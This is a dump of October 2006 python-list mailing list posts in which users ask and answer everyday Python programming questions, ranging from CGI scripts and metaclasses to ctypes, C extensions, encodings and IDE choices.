path? Go to each directory/zip file, and see if you find mod_python. If so, is your base directory where you think it is? (use os.getcwd() to find out). If mod_python is still not in there, where is it? Now add THAT directory to your Python path. Cheers, Cliff From Roka100 at gmail.com Wed Oct 18 09:24:41 2006 From: Roka100 at gmail.com (Jia Lu) Date: 18 Oct 2006 06:24:41 -0700 Subject: How to convert this list to string? In-Reply-To: <%mlZg.6685$fl.5082@dukeread08> References: <1161156050.529095.204770@e3g2000cwe.googlegroups.com> <%mlZg.6685$fl.5082@dukeread08> Message-ID: <1161177881.191165.116120@b28g2000cwb.googlegroups.com> Thank you very much. I memoed all you views. :) From maric at aristote.info Thu Oct 5 11:44:15 2006 From: maric at aristote.info (Maric Michaud) Date: Thu, 5 Oct 2006 17:44:15 +0200 Subject: Access to static members from inside a method decorator? In-Reply-To: <1160061499.579029.9130@k70g2000cwa.googlegroups.com> References: <1159968945.192014.249380@k70g2000cwa.googlegroups.com> <4524c9bb$0$23498$426a74cc@news.free.fr> <1160061499.579029.9130@k70g2000cwa.googlegroups.com> Message-ID: <200610051744.17106.maric@aristote.info> Le jeudi 05 octobre 2006 17:18, glen.coates.bigworld at gmail.com a ?crit?: > I guess my solution is slightly less elegant because > it requires this ugly explicit init call outside the classes that it > actually deals with, however it is more efficient because the dir() > pass happens once on module load, instead of every time I want the list > of exposed methods. You can always replace the need of the init method on classes using a metaclass. This demonstrates it with Bruno's expose decorator, but it can be done with your actual init func too. In [6]: class m(type) : ...: def __init__(self, *a,**kw) : ...: for name, meth in self.__dict__.items() : ...: if getattr(meth, '_exposed', False) : ...: print 'exposed :', name ...: ...: In [7]: class a(object): ...: __metaclass__ = m ...: def f(self) :pass ...: @expose ...: def g(self) :pass ...: ...: exposed : g In [8]: class b(a) : ...: @expose ...: def h(self) :pass ...: ...: exposed : h -- _____________ Maric Michaud _____________ Aristote - www.aristote.info 3 place des tapis 69004 Lyon Tel: +33 426 880 097 From jstroud at mbi.ucla.edu Wed Oct 4 06:50:02 2006 From: jstroud at mbi.ucla.edu (James Stroud) Date: Wed, 04 Oct 2006 10:50:02 GMT Subject: py2app semi-standalone semi-works Message-ID: Hello All, I am trying to create a semi-standalone with the vendor python on OS X 10.4 (python 2.3.5). I tried to include some packages with both --packages from the command and the 'packages' option in setup.py. While the packages were nicely included in the application bundle in both cases (at Contents/Resources/lib/python2.3/), they were not found by python when the program was launched, giving the error: "ImportError: No module named [whatever module]" Is this because semi-standalone is semi-broken or is it because I have semi-omitted something? Any advice on resolving this issue would be greatly appreciated and would greatly reduce the size of the download. James From jhefferon at smcvt.edu Thu Oct 5 17:56:54 2006 From: jhefferon at smcvt.edu (Jim) Date: 5 Oct 2006 14:56:54 -0700 Subject: CGI Tutorial References: <1159990122.487089.133950@i42g2000cwa.googlegroups.com> Message-ID: <1160085414.189057.283230@e3g2000cwe.googlegroups.com> Clodoaldo Pinto Neto wrote: > I'm just building a Python CGI Tutorial and would appreciate any > feedback from the many experts in this list. I'm not an expert, but I have written a lot of these and I have a couple of $0.02's. * All code you put in your writing needs to be correct. That is, on the web you can't say something and later in the text say "but this has a problem and needs to be tightened up" because people will paste in code that they got from you and won't read the rest. They will. Instead, you need the scripts to be right, from the start. Then you say "Lets look at lines 1-5. The reason for those is ..". * All cgi scripts need logging. Debugging cgi can be hard and you need to have a place to write statements of the form log.debug("in getValues(): value of x is %s" % (repr(x),)). * You need a DEBUG variable: from defaults import DEBUG : if DEBUG: .. * I've been impressed by Guido's writing that a main() routine makes sense. One reason is that you can more easily make unit tests. Because testing cgi is so hard, this is especially useful in this context. (I admit that I'm only a recent convert to this but it really makes sense.) So, continuing with my opinions as though they were facts, the skeleton of all cgi's is something like this, IMHO: import sys, os, os.path, urllib, cgi from cgi import escape from xml.sax.saxutils import quoteattr from defaults import DEBUG, LOGGING THIS_SCRIPT=os.path.basename(sys.argv[0]) LOGFILE_NAME=os.path.splitext(THIS_SCRIPT)[0]+'.log' if DEBUG: import cgitb cgitb.enable() # all kinds of functions here def main(fs,argv=None,log=None,debug=False): if argv is None: argv=sys.argv # logic here if __name__=='__main__': log=None if LOGGING: log=openLog(LOGFILE_NAME) fs=cgi.FieldStorage(keep_blank_values=1) try: main(fs,argv=sys.argv,log=log,debug=DEBUG) except StandardError, err: mesg="General programming error" bail(mesg,devel=mesg+": error=%(err)s",log=log,debug=DEBUG,err=err) except SystemExit, err: # bailed out in a subroutine pass sys.exit(0) (where bail() is a routine that puts up an error page -- on that page, I have one of two messages, the second of which, using the "devel" string, only appears when DEBUG is True). In my humble experience, all cgi programs should follow something like that scheme. You asked for an opinion! :-) Jim From irmen.NOSPAM at xs4all.nl Sun Oct 22 18:38:34 2006 From: irmen.NOSPAM at xs4all.nl (Irmen de Jong) Date: Mon, 23 Oct 2006 00:38:34 +0200 Subject: Socket module bug on OpenVMS In-Reply-To: References: Message-ID: <453bf2ec$0$333$e4fe514c@news.xs4all.nl> Jean-Paul Calderone wrote: > On Sun, 22 Oct 2006 19:58:44 +0200, Irmen de Jong > wrote: >> Jean-Paul Calderone wrote: >>> I think everyone can agree that Python shouldn't crash. >> >> Well, it doesn't really crash in a bad way, in my example: >> it doesn't work because it simply raises a socket exception all the time. > > Okay. I assumed you meant the interpreter died with a SIGSEGV or something > similar. If the call simply raises an exception, then I'm not sure I see > a real problem here. Hmm.. it is not supposed to raise the exception (the code is valid but just breaks on windows or VMS). On the other hand, the underlying platform goes bad and what else could Python do? (at this point) > What'd be really nice is a direct wrapper around recv(2), send(2), etc, > with a simple socket-object layer on top of that, with timeouts or error > handling layered on top of that. I agree, that would be nice indeed. --Irmen From jUrner at arcor.de Fri Oct 13 14:40:53 2006 From: jUrner at arcor.de (jUrner at arcor.de) Date: 13 Oct 2006 11:40:53 -0700 Subject: IDE In-Reply-To: <4zOXg.1918$uv5.11354@twister1.libero.it> References: <4zOXg.1918$uv5.11354@twister1.libero.it> Message-ID: <1160764853.349351.104680@k70g2000cwa.googlegroups.com> giuseppe wrote: > What is the better IDE software for python programming? > Eric off course - the better ide for python programming step-shuffle-step http://www.die-offenbachs.de/detlev/eric3 From carsten at uniqsys.com Tue Oct 17 10:44:22 2006 From: carsten at uniqsys.com (Carsten Haese) Date: Tue, 17 Oct 2006 10:44:22 -0400 Subject: Tertiary Operation In-Reply-To: <4534DF4A.2030007@tim.thechases.com> References: <1161091832.088769.279630@b28g2000cwb.googlegroups.com> <4534DF4A.2030007@tim.thechases.com> Message-ID: <1161096262.12241.8.camel@dot.uniqsys.com> On Tue, 2006-10-17 at 09:48, Tim Chase wrote: > [...] > Either of the following should suffice: > > # return a non-empty string > x is None and "None" or str(x) This one can be "optimized" to just str(x) since str(None)=="None". >[...] > There are more baroque ways of writing the terniary operator in > python (although I understand 2.5 or maybe python 3k should have > a true way of doing this). Python 2.5 does already. > My understanding is that one common > solution is something like > > {True: "", False: str(x)}[x is None] As Fredrik pointed out in not so many words, this is not a good solution. Besides being ugly, the major problem with this solution is that both branches are evaluated regardless of the outcome of the condition. This is not good if the expression is unsafe to calculate under the wrong condition, or if the expressions are expensive to calculate, or if the expressions have side effects. The "condition and result1 or result2" hack at least prevents the evaluation of the non-applicable expression due to the short-circuiting nature of the "and" and "or" operators. -Carsten From ldo at geek-central.gen.new_zealand Mon Oct 9 04:19:13 2006 From: ldo at geek-central.gen.new_zealand (Lawrence D'Oliveiro) Date: Mon, 09 Oct 2006 21:19:13 +1300 Subject: People's names (was Re: sqlite3 error) References: <1159394058.945948.119410@h48g2000cwc.googlegroups.com> <1159493520.289291.276850@b28g2000cwb.googlegroups.com> Message-ID: In message , Hendrik van Rooyen wrote: > "Lawrence D'Oliveiro" wrote: > > 8<-------------------------------------------------------- > >> I wonder if we need another "middle" field for holding the "bin/binte" >> part (could also hold, e.g. "Van" for those names that use this). > > NOOOOO! - I think of my surname as "van Rooyen" - its only a string with a > space in it - and its peculiar in that the first letter is not > capitalised.... > > And I am sure that the people called "von Kardorff" would not agree > either... So do the Dutch phone books have a lot of entries under V, then? It just seems less efficient to me, that's all. From fredrik at pythonware.com Tue Oct 24 11:08:55 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 24 Oct 2006 17:08:55 +0200 Subject: How to upgrade python from 2.4.3 to 2.4.4 ? In-Reply-To: References: <45386ba2$0$1206$9b622d9e@news.freenet.de> Message-ID: Tim Roberts wrote: > Further, as I understand it, Python 2.4 extensions can be built with the > free "express edition" compiler from Microsoft. or MinGW. From mail at microcorp.co.za Mon Oct 23 02:46:25 2006 From: mail at microcorp.co.za (Hendrik van Rooyen) Date: Mon, 23 Oct 2006 08:46:25 +0200 Subject: Arrays? (Or lists if you prefer) References: <1161565656.906572.209750@f16g2000cwb.googlegroups.com> Message-ID: <016e01c6f66f$cf815440$03000080@hendrik> From: wrote: 8<--------------------------------------- > So: > Way to do SIMPLE array, either internally or externally, with Python, > please. to help you see it - here is a simple 3 row by 3 column list: myarray = [[1,2,3],[4,5,6],[7,8,9]] the first "row" is myarray[0] - ie the list [1,2,3] the middle element is myarray[1][1] - ie 5 - row 1, col 1. the last element in the first row is myarray[0][2] - ie 3 play with it at the interactive prompt... HTH - Hendrik From chris at kateandchris.net Fri Oct 13 14:55:31 2006 From: chris at kateandchris.net (Chris Lambacher) Date: Fri, 13 Oct 2006 14:55:31 -0400 Subject: Where can I find good python code? In-Reply-To: References: Message-ID: <20061013185531.GA10644@kateandchris.net> On Sat, Oct 14, 2006 at 01:08:37AM +0900, js wrote: > Hi, > > I've learned basics of Python and want to go to the next step. > So I'm looking for good python examples > I steal good techniques from. > > I found Python distribution itself contains some examples in Demo directory. > I spent some time to read them and > I think they're good but seemed not so practical to me. > > Any recommendations? A large portion of the standard library is pure python and of high quality(thats how it made it there in the first place). The newer a module is to the library, the better it will conform to current best practices. On Unix environments you can find the standard library in $PREFIX/lib/python$VERSION/ where $PREFIX is often /usr but sometimes /usr/local and version is the version you have installed (maybe 2.4 or 2.5?) On Windows you can find the standard library in c:\Python%VERSION%\Lib where %VERSION% is the version you installed (maybe 24 or 25?) -Chris From bdesth.quelquechose at free.quelquepart.fr Tue Oct 24 18:38:27 2006 From: bdesth.quelquechose at free.quelquepart.fr (Bruno Desthuilliers) Date: Wed, 25 Oct 2006 00:38:27 +0200 Subject: [0T] Re: Simple python + html + from --> to python script In-Reply-To: <1161722017.705987.78760@m7g2000cwm.googlegroups.com> References: <1161722017.705987.78760@m7g2000cwm.googlegroups.com> Message-ID: <453e9176$0$8665$426a34cc@news.free.fr> flit a ?crit : > Hello All, > > I am trying to get information from a form and send it to a python > script without success.. > Here is my objective: > > User enters data in form --> form send variables to python script --> > script runs and output result. If the script has side-effects (adding/updating/deleting database records, writing files, etc), the script should not "output results", but redirect to another url where the user can see these results. Else - if the script doesn't have side-effects (ie :a search form, ...), then the HTTP method should be "GET", not "POST". > the form code > >
Entre com > os dados
> > Entre com os dados
> Vai magraum
button elements don't submit the form - they in fact don't do anything unless you attach behaviour to them with javascript. What you want here is an input type='submit'. Also, the "button" tag doesn't require a end tag.


Vai magraum
(cf Steve's answer and the cgi module's doc for your problem) From fabianosidler at gmail.com Sun Oct 29 12:48:40 2006 From: fabianosidler at gmail.com (Fabiano Sidler) Date: Sun, 29 Oct 2006 17:48:40 +0000 Subject: Printing out the objects stack Message-ID: <200610291748.41082.fabianosidler@gmail.com> Hi folks! For getting a plan how a stack-based VM like Python works, I added a function that prints out the current object stack. Unfortunately, it crashes the VM. Could someone here take a look at it? What's wrong with it?: --- snip --- static PyObject * sys_stack(PyObject *self) { PyFrameObject *f = PyThreadState_GET()->frame; PyObject **i, **begin = f->f_localsplus, **end = f->f_valuestack; end += f->f_code->co_stacksize; flog( "co_name: %s\n" "co_stacksize: %d\n" "localsplus: %d\n" "valuestack: %d\n", PyString_AsString(f->f_code->co_name), f->f_code->co_stacksize, f->f_localsplus, f->f_valuestack); flog("locals:\n"); { PyObject *list = f->f_code->co_names; int len,i; len = PyList_Size(list); for (i=0; if_valuestack - (int)i)/4; PyObject *obi; char *strval; if (*i == NULL) { flog("NULL\n"); break; } if ((obi=PyObject_Str(*i)) != NULL) { if ((strval=PyString_AsString(obi)) != NULL) { flog("[%3d] %s\n", o, strval); } } } finished: Py_INCREF(Py_None); return Py_None; } --- snap --- flog(fmt, ...) is my function to log to a file, sys_stack I've made available to Python as sys.stack and PyFrame_New I modified so that it nulls the memory allocated for the objects stack. Now the following Python code crashes... --- snip --- def f(foo,bar,boo,far): foobar='foobar' print foobar sys.stack() f('foo','bar','boo','far') # CRASH --- snap --- ...and in my "logfile" I have... --- snip --- co_name: f co_stacksize: 1 localsplus: 136139316 valuestack: 136139336 locals: end of locals [ 5] foo [ 4] bar [ 3] boo [ 2] far [ 1] foobar [ 0] --- snap --- Now the following things are not clear to me: -Why does the VM crash? Did I use the wrong stack boundaries? -Why are no locales printed? -Why is the function "stack" not right before or after "foo" on the stack? When I disassemble the code of f with dis.dis, it reveals that sys.stack and foo are pushed onto the stack successively. Greetings, Fips From mike$#at^&nospam!%trauschus Mon Oct 23 18:03:00 2006 From: mike$#at^&nospam!%trauschus (Michael B. Trausch) Date: Mon, 23 Oct 2006 18:03:00 -0400 Subject: Attempting to parse free-form ANSI text. In-Reply-To: References: Message-ID: Jean-Paul Calderone wrote: > On Sun, 22 Oct 2006 00:34:14 -0400, "Michael B. Trausch" > wrote: >> Alright... I am attempting to find a way to parse ANSI text from a >> telnet application. However, I am experiencing a bit of trouble. >> >> What I want to do is have all ANSI sequences _removed_ from the output, >> save for those that manage color codes or text presentation (in short, >> the ones that are ESC[#m (with additional #s separated by ; characters). >> The ones that are left, the ones that are the color codes, I want to >> act on, and remove from the text stream, and display the text. > > http://originalgamer.cvs.sourceforge.net/originalgamer/originalgamer/originalgamer/ansi.py?revision=1.12&view=markup > may be of some interest. > I am attempting to study this code to see how it does it. From what I can see of this thread, it appears to be one of many solutions. Unfortunately, I am not well-versed in this whole application programming thing... . I can do simple things, and am good at web apps, but this style of things is quite new for me. Anyway, we'll see what I can get out of that, and maybe I can find the solution. Thanks for the pointer! -- Mike From fredrik at pythonware.com Tue Oct 10 14:54:23 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 10 Oct 2006 20:54:23 +0200 Subject: Is a list static when it's a class member? In-Reply-To: <1160505300.141637.40170@i3g2000cwc.googlegroups.com> References: <1160505300.141637.40170@i3g2000cwc.googlegroups.com> Message-ID: glue wrote: > I have a class with a list member and the list seems to behave like > it's static while other class members don't. The code... *all* class attributes are shared by all instances. however, instance attributes hide class attributes with the same name. in your case, you're hiding the "name" class attribute by creating an instance attribute with the same name in the "__init__" method, but you're modifying the shared "data" attribute in the "append" method. if you want separate instances to use separate objects, make sure you create new objects for each new instance. see Tim's reply for how to do that. > class A: > name = "" > data = [] > def __init__(self, name): > self.name = name > def append(self, info): > self.data.append(info) > def enum(self): > for x in self.data: > print "\t%s" % x From ptmcg at austin.rr._bogus_.com Mon Oct 2 12:11:22 2006 From: ptmcg at austin.rr._bogus_.com (Paul McGuire) Date: Mon, 02 Oct 2006 16:11:22 GMT Subject: Sort by domain name? References: Message-ID: "js " wrote in message news:mailman.1094.1159801691.10491.python-list at python.org... > Hi list, > > I have a list of URL and I want to sort that list by the domain name. > > Here, domain name doesn't contain subdomain, > or should I say, domain's part of 'www', mail, news and en should be > excluded. > > For example, if the list was the following > ------------------------------------------------------------ > http://mail.google.com > http://reader.google.com > http://mail.yahoo.co.uk > http://google.com > http://mail.yahoo.com > ------------------------------------------------------------ > > the sort's output would be > ------------------------------------------------------------ > http://google.com > http://mail.google.com > http://reader.google.com > http://mail.yahoo.co.uk > http://mail.yahoo.com > ------------------------------------------------------------ > > As you can see above, I don't want to > > > Thanks in advance. How about sorting the strings as they are reversed? urls = """\ http://mail.google.com http://reader.google.com http://mail.yahoo.co.uk http://google.com http://mail.yahoo.com""".split("\n") sortedList = [ su[1] for su in sorted([ (u[::-1],u) for u in urls ]) ] for url in sortedList: print url Prints: http://mail.yahoo.co.uk http://mail.google.com http://reader.google.com http://google.com http://mail.yahoo.com Close to what you are looking for, might be good enough? -- Paul From olsongt at verizon.net Mon Oct 23 13:55:43 2006 From: olsongt at verizon.net (olsongt at verizon.net) Date: 23 Oct 2006 10:55:43 -0700 Subject: Looking for a Python-on-Windows person to help with SpamBayes In-Reply-To: References: Message-ID: <1161626143.199801.306150@m73g2000cwd.googlegroups.com> s... at pobox.com wrote: > I'm looking for some help with SpamBayes. It can be short-term or > long-term. I've implemented some OCR capability based on the open source > ocrad program that works reasonably well to extract text tokens from > image-based spam. Alas, I don't use Windows at all, so I can't make sure > this stuff works on Windows. None of the usual suspects in the SpamBayes > development community have any free time at the moment. Others are helping > out, but they are user types, not programmer types, so the round trip > between "this doesn't work", to "okay, try this" and back again is > agonizingly slow. > > The bare requirements are: > > * Able to program in Python on Windows (that is, remove my Unix-think > from the OCR bits of code) > > * Use Outlook to read mail (so you can test the changes with the > SpamBayes Outlook plugin) > > If you can compile software under cygwin (the ocrad program builds fine > under cygwin) and/or can create installers for Python-based Windows apps > that would be a plus. > > If you can help out, please drop an email to spambayes-dev at python.org. > > Thanks, > > -- Does ocrad require the cygwin environment to run? From bj_666 at gmx.net Mon Oct 23 14:23:49 2006 From: bj_666 at gmx.net (Marc 'BlackJack' Rintsch) Date: Mon, 23 Oct 2006 20:23:49 +0200 Subject: encoding of sys.argv ? References: <20061023130504.26823717@autremonde> Message-ID: In <20061023130504.26823717 at autremonde>, Jiba wrote: > I am desperately searching for the encoding of sys.argv. > > I use a Linux box, with French UTF-8 locales and an UTF-8 filesystem. > sys.getdefaultencoding() is "ascii" and sys.getfilesystemencoding() is > "utf-8". However, sys.argv is neither in ASCII (since I can pass French > accentuated character), nor in UTF-8. It seems to be encoded in > "latin-1", but why ? There is no way to determine the encoding. The application that starts another and sets the arguments can use any encoding it likes and there's no standard way to find out which it was. The `sys.stdin.encoding` approach isn't very robust because this will only be set if the interpreter can find out what encoding is used on `stdin`. That's impossible if the `stdin` is the input from another file. Make it explicit: Add a command line option to choose the encoding. Ciao, Marc 'BlackJack' Rintsch From wolfgang.keller.nospam at gmx.de Mon Oct 16 07:52:29 2006 From: wolfgang.keller.nospam at gmx.de (Wolfgang Keller) Date: Mon, 16 Oct 2006 13:52:29 +0200 Subject: Book about database application development? References: <0001HW.C157FA8900644D9AF0407530@news.individual.de> <7xlknhg2rz.fsf@ruckus.brouhaha.com> <0001HW.C158378C00729A42F0407530@news.individual.de> Message-ID: <0001HW.C1593F1C008E204DF0407530@news.individual.de> >> What I'm interested in is rather how to connect a GUI to a database, with >> quite a bit of application logic in between. And how to do it well. > > You've described Dabo perfectly. Have you looked into it yet? It's > written by a couple of database application developers. Yes, thanks, I know about Dabo. As I know about Kiwi, Thyme, GNUe, TinyERP and so on... But I would still like to learn how to do things myself if I need to. Sincerely, Wolfgang Keller -- My email-address is correct. Do NOT remove ".nospam" to reply. From thomas at jollans.com Wed Oct 4 17:19:06 2006 From: thomas at jollans.com (Thomas Jollans) Date: Wed, 4 Oct 2006 23:19:06 +0200 Subject: Where is Python in the scheme of things? References: Message-ID: <20061004231906.2acd5f2f.thomas@jollans.com> On Wed, 4 Oct 2006 16:21:21 -0400 "gord" wrote: > [...] all in a DOS-like environment. Python is an extremely multi-purpose language that is not dependant on GUIs or similiar riff-raff. It can be run in DOS or DOS-like systems, but that is your choice, not python's. Python has a traditional connection to the *nix (UNIX-like) family of operating systems, where the command like is a lot more powerful and used than in modern incarnations of DOS, such as Windows NT 5.1, nicknamed "windows xp". > What is particularly disappointing is the absence of a Windows IDE, There are multiple. I personally chose to use the editor vim and the command line, but that is a personal choice. See . > components and an event driven paradigm. I am not sure what you mean with "components". Since everything in python, even types and functions, is an object, events can be implemented cleanly and easily where they are due, such as in GUI toolkits. > How does Python stand relative to the big 3, namely Visual C++, Visual Basic and Delphi? No additional comment on "big 3". Visual C++ is just an IDE for the language C++, which has, like python, roots in the UNIX and command-line world. VB and Delphi are IDEs for extended versions of the languages BASIC and PASCAL, respectively. See the link above for IDEs for the language Python. > I realize that these programming packages are quite expensive now while Python is free > (at least for the package I am using - ActivePython). Price and quality are not directly related; in this example I must say that some of the better (supposedly, I have not tried them) python IDEs are actually commercially distributed proprietary software. Also note that python is not only available free of charge, but also so-called "free software" (libre software... related to open source, which it also is), see the free software definition at for a description of that matter. > Please discuss where Python shines. Python shines nearly everywhere where speed and resource usage is not a killer factor. Writing and reading, this maintaining, software written in python is very easy. Python also lends itself very well to writing portable software. Being a (to the outside) interpreted language, the compilation step falls out, speeding up the development process somewhat. I find the python language a lot clearer than (Visual) Basic, and programs are definately shorter. C/C++ aren't geared towards programmer-friendliness, so they are a completely different category. I know too little about Pascal (Delphi) Python can be used in many areas, from small maitainence scripts on servers over web applications to fully-blows graphical apps. For graphical applications, there are multiple choices, one (Tkinter) being distributed with standard python (which does not act natively on any platform.) PyGTK has an excellent GUI designer, glade, and acts 100% natively on many UNIX/Linux systems, about 90% natively on windows systems, and doesn't, yet (AFAIK), integrate well with Mac OSX. WxPython acts natively everywhere, but is, as I have heard, not as "pythonic" as other frameworks. pyGUI looks promising. Reinforcement: Remember that python is a language, not a development environment. It shines as a language, and can be put into a friendly case if the programmer choses that. -- Thomas Jollans From sjdevnull at yahoo.com Fri Oct 6 16:58:15 2006 From: sjdevnull at yahoo.com (sjdevnull at yahoo.com) Date: 6 Oct 2006 13:58:15 -0700 Subject: humble coin head or tail game script I wrote In-Reply-To: <1160159206.781049.24930@c28g2000cwb.googlegroups.com> References: <1160157908.997499.289220@k70g2000cwa.googlegroups.com> <1160158803.404425.316430@h48g2000cwc.googlegroups.com> <1160159206.781049.24930@c28g2000cwb.googlegroups.com> Message-ID: <1160168295.033649.163460@k70g2000cwa.googlegroups.com> Camellia wrote: > Well...It' doesn't, have you run it yet? Yes it does, and running it reflects that behavior. > ini_guess = random.randrange(1) > list_guess = ['t', 'h'] > ini_guess = list_guess[ini_guess] random.randrange(1) will always return 0, so this will always initialize ini_guess to 't' > for item in list: > if item == ini_guess: > correct += 1 > elif item == 'h': > ini_guess = 't' > elif item == 't': > ini_guess == 'h' If item was 't', then correct is incremented and nothing else happens. ini_guess remains 't'. If item was 'h', ini_guess will be set to 't'. The final "elif item=='t':" branch will never be executed. From fredrik at pythonware.com Sun Oct 8 16:11:54 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sun, 08 Oct 2006 22:11:54 +0200 Subject: Can't get around "IndexError: list index out of range" In-Reply-To: <1160335473.625244.261640@m7g2000cwm.googlegroups.com> References: <1159913403.234324.209750@e3g2000cwe.googlegroups.com> <1160179043.266322.311940@i3g2000cwc.googlegroups.com> <1160198110.064741.133700@k70g2000cwa.googlegroups.com> <1160241982.216511.281950@m73g2000cwd.googlegroups.com> <1160262952.734016.306150@e3g2000cwe.googlegroups.com> <452846fe.0@entanet> <1160267115.309599.26160@e3g2000cwe.googlegroups.com> <1160269607.522241.311160@m73g2000cwd.googlegroups.com> <1160332330.684420.276560@e3g2000cwe.googlegroups.com> <1160335473.625244.261640@m7g2000cwm.googlegroups.com> Message-ID: MonkeeSage wrote: >> but "let's hypergeneralize and treat sequences and mappings as the same >> thing" proposals are nothing new; a trip to the archives might be help- >> ful. > > Huh? I don't want to treat sequences and mappings as the same thing. > I'm talking about adding two similar convenience methods for sequences > as already exist for mappings. so what makes you think you're the first one who's ever talked about that? From steve at holdenweb.com Thu Oct 5 14:25:59 2006 From: steve at holdenweb.com (Steve Holden) Date: Thu, 05 Oct 2006 19:25:59 +0100 Subject: How do I read Excel file in Python? In-Reply-To: <1160069137.525290.90000@m73g2000cwd.googlegroups.com> References: <1160057474.600863.239360@k70g2000cwa.googlegroups.com> <1160061718.605057.243590@h48g2000cwc.googlegroups.com> <1160067650.709670.71460@e3g2000cwe.googlegroups.com> <1160069137.525290.90000@m73g2000cwd.googlegroups.com> Message-ID: Matimus wrote: >>the date( 8/9/2006 ) in Excel file, i am getting the value as 38938.0, >>which I get when I convert date values to general format in Excel. I >>want the actual date value. How do get that? > > > 38938 appears to be the date in days since 1/1/1900. I'm sure someone > can help you figure out how to convert that to a more useful value. > I believe the win32all extension contains functionality to help with that, thought it's a long time since I even ran PythonWin (sorry, Mark). regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From arkanes at gmail.com Wed Oct 4 14:49:44 2006 From: arkanes at gmail.com (Chris Mellon) Date: Wed, 4 Oct 2006 13:49:44 -0500 Subject: Having trouble using CTypes with a custom function In-Reply-To: <1159986910.925738.146560@i42g2000cwa.googlegroups.com> References: <1159985896.742017.313430@e3g2000cwe.googlegroups.com> <1159986910.925738.146560@i42g2000cwa.googlegroups.com> Message-ID: <4866bea60610041149r3b746d7fm12d36c59494e4f9c@mail.gmail.com> On 4 Oct 2006 11:35:11 -0700, tkondal at gmail.com wrote: > Would you have any example of a wrapper for such data types? > > Thanks. > > Chris Mellon wrote: > > On 4 Oct 2006 11:18:16 -0700, tkondal at gmail.com wrote: > > > Hi all. > > > > > > I just started looking at Python's ctypes lib and I am having trouble > > > using it for a function. > > > > > > For starters, here's my Python code: > > > > > > > > > from ctypes import*; > > > myStringDLL= cdll.LoadLibrary("myStringDLL.dll"); > > > > > > GetMyString = getattr(myStringDLL, > > > "?GetMyString@@YA_NAAV?$basic_string at DU?$char_traits at D@std@@V?$allocator at D@2@@std@@@Z") > > > > > > strString = create_string_buffer('\000' * 256); > > > GetMyString.restype = c_int; > > > GetMyString.argtypes = [c_char_p]; > > > > > > bResult = GetMyString (strSerialNumber); > > > > > > print (bResult); > > > print (strSerialNumber); > > > > > > #C++ Prototype of the function I want to call: > > > #bool GetMyString (string& stringParam) ; > > > > > > > > > > > > > > > I do not have access to the source code of this function so don't ask > > > me to try different things in C++. This DLL is working fine. > > > > > > The problem that I have is that print (strSerialNumber) does not seem > > > to print the correct string. What I get is some garbage value of > > > unprintable characters. Am I using this the correct way? > > > > > > > > > > > > > This function is expecting a C++ std::string object, not a regular C > > style string. You'll need a wrapper function, and one which uses the > > same compiler and STL as the C++ source. > > > > > Thanks. > > > > > > -- > > > http://mail.python.org/mailman/listinfo/python-list > > > > in this case it'd be very simple: bool WrapGetMyString(char * c) { return GetMyString(c) } (Note: This isn't unicode safe). The C++ compiler will handle converting from the char * to the std::string. > -- > http://mail.python.org/mailman/listinfo/python-list > From hg at nospam.com Thu Oct 12 15:26:34 2006 From: hg at nospam.com (hg) Date: Thu, 12 Oct 2006 14:26:34 -0500 Subject: IDLE won't run In-Reply-To: References: Message-ID: Rob wrote: > I have Python 2.4.3 installed on Windows XP on both a real computer and a > virtual machine under VMware. Just recently, IDLE stopped working. I would > select IDLE from the start menu or right click on a .PY file and open it in > IDLE, but nothing happens. I just uninstalled Python on the virtual machine > and installed 2.5 in the hope that that would fix the problem, but it > didn't. It, too, would do nothing when I tried to run IDLE. In both cases, > the Python command line window will come up, but that's not what I want to > use. > > Does anyone know of a way to fix this problem? Is there a new Windows > update that is now interfering with IDLE? Would Norton Antivirus be > interfering with it somehow? (It's running in both environments.) What kind of error do you see by calling idle from the command line (ex: "c:\....\python.exe c:\....\idle.py" From MonkeeSage at gmail.com Fri Oct 6 21:04:36 2006 From: MonkeeSage at gmail.com (MonkeeSage) Date: 6 Oct 2006 18:04:36 -0700 Subject: Names changed to protect the guilty In-Reply-To: <1160182951.812677.178750@i42g2000cwa.googlegroups.com> References: <1160182951.812677.178750@i42g2000cwa.googlegroups.com> Message-ID: <1160183076.034356.292780@i3g2000cwc.googlegroups.com> On Oct 6, 8:02 pm, "MonkeeSage" wrote: > it is clearer to you to make the condition explicit ("blah not False"), "blah not False" -> "blah is False" From therealorang at comcast.net Mon Oct 16 13:32:47 2006 From: therealorang at comcast.net (Sean Kennedy) Date: Mon, 16 Oct 2006 12:32:47 -0500 Subject: SAPI and Python Message-ID: Ok - I've done a lot of searching with google for info on what I'm about to ask, and haven't found enough to accomplish what I'm after - so if anyone has the answers (or even just ideas on how to proceed) I'd love the help. I'm fairly new to Python, but not to OO programming. I've written a simple wx application that uses an SpSharedRecognizer for voice recognition, and currently sendKeys to send control applications. The basic ideas came from Inigo Surguy's web page describing voice recognition in Python. The problems: 1. The application is specifically tailored to World of Warcraft, and it will not be useful to the folks who might otherwise use it if I can't share the audio in with Teamspeak and/or Ventrillo. I currently have Push-to-Talk implemented by clearing the wordsrule when it's not listening and setting it when it is. That, as far as I can tell, will not allow another app to grab the audio in device. My first notion of an idea on how to accomplish this came from the following code at http://msdn.microsoft.com/library/default.asp? url=/library/en-us/SAPI51sr/html/VB_ISpeechRecognizer_AudioInput.asp It looks there like they are releasing the audio-in. However, setting the AudioInput property to None in Python results in an exceptions with a type mismatch. Question: Do you think clearing the AudioInput property will actually release the audio-in? And, what is the correct way to do it in Python? 2. sendKeys works - but it has the problem of causing McAfee to perk up and raise a warning on the python interpreter. I can tell it to allow the script to run, but it only works until the next time I close and restart the application. Question: Is sendEvent a better way to do this? And is there a nice web site with sample python code about it? Thanks from a python newbie for any insights you folks have. From sigzero at gmail.com Sat Oct 7 09:35:43 2006 From: sigzero at gmail.com (Robert Hicks) Date: 7 Oct 2006 06:35:43 -0700 Subject: Python to use a non open source bug tracker? In-Reply-To: References: <22pUg.132825$zy5.1820633@twister1.libero.it> <2sadneD3XpY0xb_YnZ2dnUVZ_q2dnZ2d@speakeasy.net> Message-ID: <1160228143.836786.316660@e3g2000cwe.googlegroups.com> Steve Holden wrote: > Perhaps what I *should* have written was "Sadly *many* people spend too > much time bitching and moaning about those that roll their sleeves up, > and not enough rolling their own 